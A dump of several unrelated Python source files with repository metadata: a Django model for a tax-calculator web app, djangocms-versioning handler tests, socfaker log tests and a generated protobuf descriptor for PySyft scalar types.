models.NullBooleanField(default=None, blank=True, null=True) PT_rt2 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk2_0 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk2_1 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk2_2 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk2_3 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk2_4 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk2_cpi = models.NullBooleanField(default=None, blank=True, null=True) PT_rt3 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk3_0 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk3_1 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk3_2 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk3_3 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk3_4 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk3_cpi = models.NullBooleanField(default=None, blank=True, null=True) PT_rt4 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk4_0 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk4_1 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk4_2 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk4_3 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk4_4 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk4_cpi = models.NullBooleanField(default=None, blank=True, null=True) PT_rt5 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk5_0 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk5_1 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk5_2 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk5_3 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk5_4 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk5_cpi = models.NullBooleanField(default=None, blank=True, null=True) PT_rt6 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk6_0 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk6_1 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk6_2 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk6_3 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk6_4 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk6_cpi = models.NullBooleanField(default=None, blank=True, null=True) PT_rt7 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk7_0 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk7_1 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk7_2 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk7_3 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk7_4 = CommaSeparatedField(default=None, blank=True, null=True) PT_brk7_cpi = models.NullBooleanField(default=None, blank=True, null=True) PT_rt8 = CommaSeparatedField(default=None, blank=True, null=True) PT_EligibleRate_active = CommaSeparatedField(default=None, blank=True, null=True) PT_EligibleRate_passive = CommaSeparatedField(default=None, blank=True, null=True) PT_wages_active_income = models.CharField(default="False", blank=True, null=True, max_length=50) PT_top_stacking = models.CharField(default="True", blank=True, null=True, max_length=50) PT_exclusion_rt = CommaSeparatedField(default=None, blank=True, null=True) PT_exclusion_wage_limit = CommaSeparatedField(default=None, blank=True, null=True) PT_exclusion_wage_limit_cpi = models.NullBooleanField(default=None, blank=True, null=True) # Fair Share Tax Parameters FST_AGI_trt = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_lo_0 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_lo_1 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_lo_2 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_lo_3 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_lo_4 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_lo_cpi = models.NullBooleanField(default=None, blank=True, null=True) FST_AGI_thd_hi_0 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_hi_1 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_hi_2 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_hi_3 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_hi_4 = CommaSeparatedField(default=None, blank=True, null=True) FST_AGI_thd_hi_cpi = models.NullBooleanField(default=None, blank=True, null=True) AGI_surtax_thd_0 = CommaSeparatedField(default=None, blank=True, null=True) AGI_surtax_thd_1 = CommaSeparatedField(default=None, blank=True, null=True) AGI_surtax_thd_2 = CommaSeparatedField(default=None, blank=True, null=True) AGI_surtax_thd_3 = CommaSeparatedField(default=None, blank=True, null=True) AGI_surtax_thd_4 = CommaSeparatedField(default=None, blank=True, null=True) AGI_surtax_thd_cpi = models.NullBooleanField(default=None, blank=True, null=True) AGI_surtax_trt = CommaSeparatedField(default=None, blank=True, null=True) LST = CommaSeparatedField(default=None, blank=True, null=True) CR_RetirementSavings_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_ForeignTax_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_ResidentialEnergy_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_GeneralBusiness_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_MinimumTax_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_AmOppRefundable_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_AmOppNonRefundable_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_SchR_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_OtherCredits_hc = CommaSeparatedField(default=None, blank=True, null=True) CR_Education_hc = CommaSeparatedField(default=None, blank=True, null=True) UBI_u18 = CommaSeparatedField(default=None, blank=True, null=True) UBI_1820 = CommaSeparatedField(default=None, blank=True, null=True) UBI_21 = CommaSeparatedField(default=None, blank=True, null=True) UBI_ecrt = CommaSeparatedField(default=None, blank=True, null=True) # Boolean Checkbox Fields ALD_InvInc_ec_base_RyanBrady = models.CharField(default="False", blank=True, null=True, max_length=50) NIIT_PT_taxed = models.CharField(default="False", blank=True, null=True, max_length=50) CG_nodiff = models.CharField(default="False", blank=True, null=True, max_length=50) EITC_indiv = models.CharField(default="False", blank=True, null=True, max_length=50) CTC_new_refund_limited = models.CharField(default="False", blank=True, null=True, max_length=50) CTC_new_refund_limited_all_payroll = models.CharField(default="False", blank=True, null=True, max_length=50) II_no_em_nu18 = models.CharField(default="False", blank=True, null=True, max_length=50) # Inflation adjustments inflation = models.FloatField(default=None, blank=True, null=True, validators=[MinValueValidator(0.000), MaxValueValidator(1.000)]) inflation_years = models.FloatField(default=None, blank=True, null=True, validators=[MinValueValidator(0), MaxValueValidator(10)]) medical_inflation = models.FloatField(default=None, blank=True, null=True, validators=[MinValueValidator(0.000), MaxValueValidator(1.000)]) medical_years = models.FloatField(default=None, blank=True, null=True, validators=[MinValueValidator(0), MaxValueValidator(10)]) cpi_offset = CommaSeparatedField(default=None, blank=True, null=True) # Growth Assumptions factor_adjustment = CommaSeparatedField(default=None, blank=True, null=True) factor_target = CommaSeparatedField(default=None, blank=True, null=True) growth_choice = models.CharField(blank=True, default=None, null=True, max_length=50) # Job IDs when running a job job_ids = SeparatedValuesField(blank=True, default=None, null=True) jobs_not_ready = SeparatedValuesField(blank=True, default=None, null=True) # Starting Year of the reform calculation first_year = models.IntegerField(default=None, null=True) # Record whether or not this was a quick calculation on a sample of data quick_calc = models.BooleanField(default=False) # generate fields from default param data # this may eventually be useful if we're able to ensure syncdb picks up # field changes and automatically create migrations """ for param in TAXCALC_DEFAULT_PARAMS.values(): for col_field in param.col_fields: exec(col_field.id + \ " = CommaSeparatedField(default=None, null=True, blank=True)") if param.inflatable: exec(param.cpi_field.id + \ " = models.NullBooleanField(default=None, blank=True, null=True)") """ # Result tax_result = JSONField(default=None, blank=True, null=True) # # raw gui input raw_input_fields = JSONField(default=None, blank=True, null=True) # # # validated gui input input_fields = JSONField(default=None, blank=True, null=True) # deprecated fields list deprecated_fields = ArrayField( models.CharField(max_length=100, blank=True), blank=True, null=True ) # JSON input text json_text = models.ForeignKey(JSONReformTaxCalculator, null=True, default=None, blank=True) # Error text error_text = models.ForeignKey(ErrorMessageTaxCalculator, null=True, default=None, blank=True) # Creation DateTime creation_date = models.DateTimeField( default=make_aware(datetime.datetime(2015, 1, 1)) ) def get_tax_result(self): """ If taxcalc version is greater than or equal to 0.13.0, return table If taxcalc version is less than 0.13.0, then rename keys to new names and then return table """ return Resultable.get_tax_result(self, OutputUrl) NONPARAM_FIELDS = set(["job_ids", "jobs_not_ready", "first_year", "quick_calc", "tax_result", "raw_input_fields", "input_fields", "json_text", "error_text", "creation_date", "id", "data_source"]) def set_fields(self): """ Parse raw fields 1. Only keep fields that user specifies 2. Map TB names to TC names 3. Do more specific type checking--in particular, check if field is the type that Tax-Calculator expects from this param 4. Remove errors on undisplayed parameters """ Fieldable.set_fields(self, taxcalc.Policy, nonparam_fields=self.NONPARAM_FIELDS) def get_model_specs(self): """ Build JSON model specifications up from fields data returns: reform_dict, assumptions_dict, errors_warnings """ (reform_dict, assumptions_dict, reform_text, assumptions_text, errors_warnings) = param_formatters.get_reform_from_gui( self.start_year, taxbrain_fields=self.input_fields, use_puf_not_cps=self.use_puf_not_cps ) Fieldable.pop_extra_errors(self, errors_warnings) return (reform_dict, assumptions_dict, reform_text, assumptions_text, errors_warnings) @property def start_year(self): # alias for first_year return self.first_year class Meta: permissions = ( ("view_inputs", "Allowed to view Taxbrain."), ) class WorkerNodesCounter(models.Model): ''' This class specifies a counter for which set of worker nodes we have just deployed a TaxBrain job to. It is a singleton class to enforce round robin behavior with multiple dynos running simultaneously. The database becomes the single source of truth for which set of nodes just got the last dispatch ''' singleton_enforce = models.IntegerField(default=1, unique=True) current_offset = models.IntegerField(default=0) class OutputUrl(models.Model): """ This model creates a unique url for each calculation. """ unique_inputs = models.ForeignKey(TaxSaveInputs, default=None) user = models.ForeignKey(User, null=True, default=None) model_pk = models.IntegerField(default=None, null=True) # Expected Completion DateTime exp_comp_datetime = models.DateTimeField( default=make_aware(datetime.datetime(2015, 1, 1)) ) uuid = models.UUIDField(default=uuid.uuid4, null=True, editable=False, max_length=32, blank=True, unique=True) taxcalc_vers = models.CharField(blank=True, default=None, null=True, max_length=50) webapp_vers = models.CharField(blank=True, default=None, null=True, max_length=50) def get_absolute_url(self): kwargs = { 'pk': self.pk } return reverse('output_detail', kwargs=kwargs)

63.032787

114

0.757533

7,193

53,830

5.463645

0.072014

0.131221

0.180941

0.23402

0.851679

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0.847837

0.839542

0.797176

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0

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53,830

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0

null

0

1

0

8

7db26938d463bc057c6e3990f08559155c9e32be

9,473

py

Python

tests/test_handlers.py

chaosk/djangocms-versioning

257910183502536882df6e2459c5c6f325e6a584

[ "BSD-3-Clause" ]

null

tests/test_handlers.py

chaosk/djangocms-versioning

257910183502536882df6e2459c5c6f325e6a584

[ "BSD-3-Clause" ]

null

tests/test_handlers.py

chaosk/djangocms-versioning

257910183502536882df6e2459c5c6f325e6a584

[ "BSD-3-Clause" ]

null

from datetime import datetime from django.utils import timezone from cms.api import add_plugin from cms.models import Placeholder, UserSettings from cms.test_utils.testcases import CMSTestCase from freezegun import freeze_time from djangocms_versioning.models import Version from djangocms_versioning.test_utils import factories class HandlersTestCase(CMSTestCase): def test_modified_date(self): pv = factories.PollVersionFactory() dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): pv.content.save() pv = Version.objects.get(pk=pv.pk) self.assertEqual(pv.modified, dt) def test_add_plugin(self): version = factories.PageVersionFactory() placeholder = factories.PlaceholderFactory(source=version.content) poll = factories.PollFactory() dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_add_plugin_uri( placeholder=placeholder, plugin_type="PollPlugin", language=version.content.language, ) data = {"poll": poll.pk} with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt) def test_change_plugin(self): version = factories.PageVersionFactory() placeholder = factories.PlaceholderFactory(source=version.content) poll = factories.PollFactory() plugin = add_plugin( placeholder, "PollPlugin", version.content.language, poll=poll ) dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_change_plugin_uri(plugin) data = {"poll": poll.pk} with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt) def test_clear_placeholder(self): version = factories.PageVersionFactory() placeholder = factories.PlaceholderFactory(source=version.content) dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_clear_placeholder_url(placeholder) with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, {"test": 0}) self.assertEqual(response.status_code, 302) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt) def test_delete_plugin(self): version = factories.PageVersionFactory() placeholder = factories.PlaceholderFactory(source=version.content) poll = factories.PollFactory() plugin = add_plugin( placeholder, "PollPlugin", version.content.language, poll=poll ) dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_delete_plugin_uri(plugin) data = {"poll": poll.pk} with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 302) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt) def test_add_plugins_from_placeholder(self): version = factories.PageVersionFactory() source_placeholder = factories.PlaceholderFactory(source=version.content) target_placeholder = factories.PlaceholderFactory(source=version.content) poll = factories.PollFactory() plugin = add_plugin( source_placeholder, "PollPlugin", version.content.language, poll=poll ) dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_copy_plugin_uri(plugin) data = { "source_language": version.content.language, "source_placeholder_id": source_placeholder.pk, "target_language": version.content.language, "target_placeholder_id": target_placeholder.pk, } with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt) def test_paste_placeholder(self): version = factories.PageVersionFactory() placeholder = factories.PlaceholderFactory(source=version.content) poll = factories.PollFactory() user_settings = UserSettings.objects.create( language=version.content.language, user=self.get_superuser(), clipboard=Placeholder.objects.create(slot="clipboard"), ) placeholder_plugin = add_plugin( user_settings.clipboard, "PlaceholderPlugin", version.content.language ) plugin = add_plugin( placeholder_plugin.placeholder_ref, "PollPlugin", version.content.language, poll=poll ) dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_move_plugin_uri(plugin) data = { "plugin_id": placeholder_plugin.pk, "placeholder_id": placeholder.pk, "target_language": version.content.language, "move_a_copy": "true", "target_position": 1, } with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt) def test_paste_plugin(self): version = factories.PageVersionFactory() source_placeholder = factories.PlaceholderFactory(source=version.content) target_placeholder = factories.PlaceholderFactory(source=version.content) poll = factories.PollFactory() plugin = add_plugin( source_placeholder, "PollPlugin", version.content.language, poll=poll ) dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_move_plugin_uri(plugin) data = { "plugin_id": plugin.pk, "placeholder_id": target_placeholder.pk, "target_language": version.content.language, "move_a_copy": "true", "target_position": 1, } with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt) def test_cut_plugin(self): version = factories.PageVersionFactory() placeholder = factories.PlaceholderFactory(source=version.content) poll = factories.PollFactory() user_settings = UserSettings.objects.create( language=version.content.language, user=self.get_superuser(), clipboard=Placeholder.objects.create(slot="clipboard"), ) plugin = add_plugin( placeholder, "PollPlugin", version.content.language, poll=poll ) dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_move_plugin_uri(plugin) data = { "plugin_id": plugin.pk, "target_language": version.content.language, "placeholder_id": user_settings.clipboard_id, } with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt) def test_move_plugin(self): version = factories.PageVersionFactory() source_placeholder = factories.PlaceholderFactory(source=version.content) target_placeholder = factories.PlaceholderFactory(source=version.content) poll = factories.PollFactory() plugin = add_plugin( source_placeholder, "PollPlugin", version.content.language, poll=poll ) dt = datetime(2016, 6, 6, tzinfo=timezone.utc) with freeze_time(dt): endpoint = self.get_move_plugin_uri(plugin) data = { "plugin_id": plugin.pk, "target_language": version.content.language, "placeholder_id": target_placeholder.pk, "target_position": 1, } with self.login_user_context(self.get_superuser()): response = self.client.post(endpoint, data) self.assertEqual(response.status_code, 200) version = Version.objects.get(pk=version.pk) self.assertEqual(version.modified, dt)

38.50813

97

0.632007

966

9,473

6.033126

0.090062

0.069664

0.064173

0.090597

0.85175

0.840769

0.834248

0.825841

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0.01319

0.27172

9,473

245

98

38.665306

0.83157

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0.717172

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0.045392

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1

0.050505

false

0

0.040404

0

0.09596

0

null

0

1

0

1

0

null

0

7

814ddb2f331f68fd127a3353c52ccbef7d8bdd79

223

py

Python

tests/test_socfaker_logs_windows_eventlog.py

atstpls/soc-faker

119fcb9c4329a918ef9001ac5eaa36251b862bf0

[ "MIT" ]

122

2020-02-21T16:06:54.000Z

2022-03-21T13:53:03.000Z

tests/test_socfaker_logs_windows_eventlog.py

atstpls/soc-faker

119fcb9c4329a918ef9001ac5eaa36251b862bf0

[ "MIT" ]

13

2020-01-29T16:37:05.000Z

2022-01-27T21:30:10.000Z

tests/test_socfaker_logs_windows_eventlog.py

atstpls/soc-faker

119fcb9c4329a918ef9001ac5eaa36251b862bf0

[ "MIT" ]

20

2020-04-10T11:59:29.000Z

2022-02-10T09:20:26.000Z

def test_socfaker_logs_windows_eventlog(socfaker_fixture): assert socfaker_fixture.logs.windows.eventlog() def test_socfaker_logs_windows_sysmon_logs(socfaker_fixture): assert socfaker_fixture.logs.windows.sysmon()

44.6

61

0.856502

29

223

6.137931

0.310345

0.247191

0.168539

0.213483

0.820225

0.52809

0

0.071749

223

5

62

44.6

0.859903

0

0.5

1

0.5

false

0

0.5

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

7

8171538efcf108c05d6c10e2d8869f07afd208aa

27,193

py

Python

packages/syft/src/syft/proto/core/adp/scalar_pb2.py

callezenwaka/PySyft

2545c302441cfe727ec095c4f9aa136bff02be32

[ "Apache-1.1" ]

1

2021-09-14T10:56:43.000Z

packages/syft/src/syft/proto/core/adp/scalar_pb2.py

callezenwaka/PySyft

2545c302441cfe727ec095c4f9aa136bff02be32

[ "Apache-1.1" ]

2

2021-04-02T10:12:44.000Z

2021-04-02T10:12:50.000Z

packages/syft/src/syft/proto/core/adp/scalar_pb2.py

callezenwaka/PySyft

2545c302441cfe727ec095c4f9aa136bff02be32

[ "Apache-1.1" ]

1

2021-08-19T12:23:01.000Z

# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: proto/core/adp/scalar.proto """Generated protocol buffer code.""" # third party from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() # syft absolute from syft.proto.core.adp import entity_pb2 as proto_dot_core_dot_adp_dot_entity__pb2 from syft.proto.core.common import ( common_object_pb2 as proto_dot_core_dot_common_dot_common__object__pb2, ) DESCRIPTOR = _descriptor.FileDescriptor( name="proto/core/adp/scalar.proto", package="syft.core.adp", syntax="proto3", serialized_options=None, create_key=_descriptor._internal_create_key, serialized_pb=b'\n\x1bproto/core/adp/scalar.proto\x12\rsyft.core.adp\x1a%proto/core/common/common_object.proto\x1a\x1bproto/core/adp/entity.proto"7\n\x12IntermediateScalar\x12!\n\x02id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID"\xb8\x01\n\nBaseScalar\x12!\n\x02id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x14\n\x07min_val\x18\x02 \x01(\x02H\x00\x88\x01\x01\x12\x12\n\x05value\x18\x03 \x01(\x02H\x01\x88\x01\x01\x12\x14\n\x07max_val\x18\x04 \x01(\x02H\x02\x88\x01\x01\x12%\n\x06\x65ntity\x18\x05 \x01(\x0b\x32\x15.syft.core.adp.EntityB\n\n\x08_min_valB\x08\n\x06_valueB\n\n\x08_max_val"<\n\x17IntermediateGammaScalar\x12!\n\x02id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID"\xb9\x01\n\x0bGammaScalar\x12!\n\x02id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x14\n\x07min_val\x18\x02 \x01(\x02H\x00\x88\x01\x01\x12\x12\n\x05value\x18\x03 \x01(\x02H\x01\x88\x01\x01\x12\x14\n\x07max_val\x18\x04 \x01(\x02H\x02\x88\x01\x01\x12%\n\x06\x65ntity\x18\x05 \x01(\x0b\x32\x15.syft.core.adp.EntityB\n\n\x08_min_valB\x08\n\x06_valueB\n\n\x08_max_val"\x9b\x01\n\x15IntermediatePhiScalar\x12!\n\x02id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12%\n\x06\x65ntity\x18\x02 \x01(\x0b\x32\x15.syft.core.adp.Entity\x12.\n\x05gamma\x18\x03 \x01(\x0b\x32\x1a.syft.core.adp.GammaScalarH\x00\x88\x01\x01\x42\x08\n\x06_gamma"\xf1\x01\n\tPhiScalar\x12!\n\x02id\x18\x01 \x01(\x0b\x32\x15.syft.core.common.UID\x12\x14\n\x07min_val\x18\x02 \x01(\x02H\x00\x88\x01\x01\x12\x12\n\x05value\x18\x03 \x01(\x02H\x01\x88\x01\x01\x12\x14\n\x07max_val\x18\x04 \x01(\x02H\x02\x88\x01\x01\x12%\n\x06\x65ntity\x18\x05 \x01(\x0b\x32\x15.syft.core.adp.Entity\x12.\n\x05gamma\x18\x06 \x01(\x0b\x32\x1a.syft.core.adp.GammaScalarH\x03\x88\x01\x01\x42\n\n\x08_min_valB\x08\n\x06_valueB\n\n\x08_max_valB\x08\n\x06_gammab\x06proto3', dependencies=[ proto_dot_core_dot_common_dot_common__object__pb2.DESCRIPTOR, proto_dot_core_dot_adp_dot_entity__pb2.DESCRIPTOR, ], ) _INTERMEDIATESCALAR = _descriptor.Descriptor( name="IntermediateScalar", full_name="syft.core.adp.IntermediateScalar", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="id", full_name="syft.core.adp.IntermediateScalar.id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=114, serialized_end=169, ) _BASESCALAR = _descriptor.Descriptor( name="BaseScalar", full_name="syft.core.adp.BaseScalar", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="id", full_name="syft.core.adp.BaseScalar.id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="min_val", full_name="syft.core.adp.BaseScalar.min_val", index=1, number=2, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="value", full_name="syft.core.adp.BaseScalar.value", index=2, number=3, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="max_val", full_name="syft.core.adp.BaseScalar.max_val", index=3, number=4, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="entity", full_name="syft.core.adp.BaseScalar.entity", index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name="_min_val", full_name="syft.core.adp.BaseScalar._min_val", index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), _descriptor.OneofDescriptor( name="_value", full_name="syft.core.adp.BaseScalar._value", index=1, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), _descriptor.OneofDescriptor( name="_max_val", full_name="syft.core.adp.BaseScalar._max_val", index=2, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), ], serialized_start=172, serialized_end=356, ) _INTERMEDIATEGAMMASCALAR = _descriptor.Descriptor( name="IntermediateGammaScalar", full_name="syft.core.adp.IntermediateGammaScalar", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="id", full_name="syft.core.adp.IntermediateGammaScalar.id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[], serialized_start=358, serialized_end=418, ) _GAMMASCALAR = _descriptor.Descriptor( name="GammaScalar", full_name="syft.core.adp.GammaScalar", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="id", full_name="syft.core.adp.GammaScalar.id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="min_val", full_name="syft.core.adp.GammaScalar.min_val", index=1, number=2, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="value", full_name="syft.core.adp.GammaScalar.value", index=2, number=3, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="max_val", full_name="syft.core.adp.GammaScalar.max_val", index=3, number=4, type=2, cpp_type=6, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="entity", full_name="syft.core.adp.GammaScalar.entity", index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), ], extensions=[], nested_types=[], enum_types=[], serialized_options=None, is_extendable=False, syntax="proto3", extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name="_min_val", full_name="syft.core.adp.GammaScalar._min_val", index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), _descriptor.OneofDescriptor( name="_value", full_name="syft.core.adp.GammaScalar._value", index=1, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), _descriptor.OneofDescriptor( name="_max_val", full_name="syft.core.adp.GammaScalar._max_val", index=2, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], ), ], serialized_start=421, serialized_end=606, ) _INTERMEDIATEPHISCALAR = _descriptor.Descriptor( name="IntermediatePhiScalar", full_name="syft.core.adp.IntermediatePhiScalar", filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name="id", full_name="syft.core.adp.IntermediatePhiScalar.id", index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="entity", full_name="syft.core.adp.IntermediatePhiScalar.entity", index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, ), _descriptor.FieldDescriptor( name="gamma", full_name="syft.core.adp.IntermediatePhiScalar.gamma", index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, 